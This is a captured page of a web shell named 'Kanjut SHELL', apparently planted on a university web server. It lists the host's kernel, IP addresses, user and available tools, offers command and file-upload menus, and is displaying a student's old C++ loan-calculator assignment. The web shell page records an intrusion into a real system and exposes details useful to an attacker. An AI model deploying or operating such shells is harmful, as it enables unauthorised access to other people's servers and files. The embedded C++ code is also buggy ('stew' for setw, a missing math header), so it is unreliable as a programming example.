Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.227.72.24
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/jljustice/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jljustice/assign1.cpp
//----------------------------------------------------
//  Assignment #1 - Loan application                 -
//                                                   -
//  Written By Jared Justice                         -
//  September 10, 2008                               -
//                                                   -
//  Purpose: Calculate the balance of the loan after -
//           a certain amount of payments.           -
//----------------------------------------------------

//----Preprocessor Section----

#include <iostream>
#include <iomanip>
using namespace std; 

//----Main Function----

int main ()
{

//----Variables and Constant----

int
   numpay,      // number of payments
   halfmth;      // total of all the months
float
   loanamt,      // amount of the loan requested
   interest,     // the interest rate of the bank
   balance,      // the amount left after payments
   payment;      // monthly payments
//----Input Phase----

   cout << "Enter amount of loan--->  ";
   cin >> loanamt;
   cout << "Enter annual interest rate (as a decimal)--->  ";
   cin >> interest;
   cout << "Enter number of monthly payments--->  ";
   cin >> numpay;

//----Processing Phase----
   halfmth = numpay/2;

   payment =(pow((1+(interest/12)),numpay))/(pow((1+(interest/12)),numpay-1))* loanamt * (interest/12);

   balance = payment * (1 - (pow(1+(interest/12),(halfmth-numpay))))/(interest/12);

//----Output Phase----
   cout << fixed;

   cout << "\n\n~~~~~~~~Loan Summary~~~~~~~~";
   cout << "\n\n Annual Interest Rate:   "<< interest;
   cout << setprecision(2); // two decimal digits for floats
   cout << "\n\n Number of Monthly Payments:   "<< numpay;
   cout << "\n     Loan Amount:             $    "<< stew(8)<< loanamt;
   cout << setprecision(2); // two decimal digits for float
   cout << "\n Monthly Payment:             $   "<< setw(8)<< payment;
   cout << setprecision(2); // two decimal digits for floats
   cout << "\n Balance Halfway through:              $ "<< setw(8)<<balance;
   cout << setprecision(2); // two decimal digits for floats
   cout << "\n Total Interest paid:              $   "<< setw(8) << (loanamt - balance);

   return 0;
}

Stv3n404 - 2023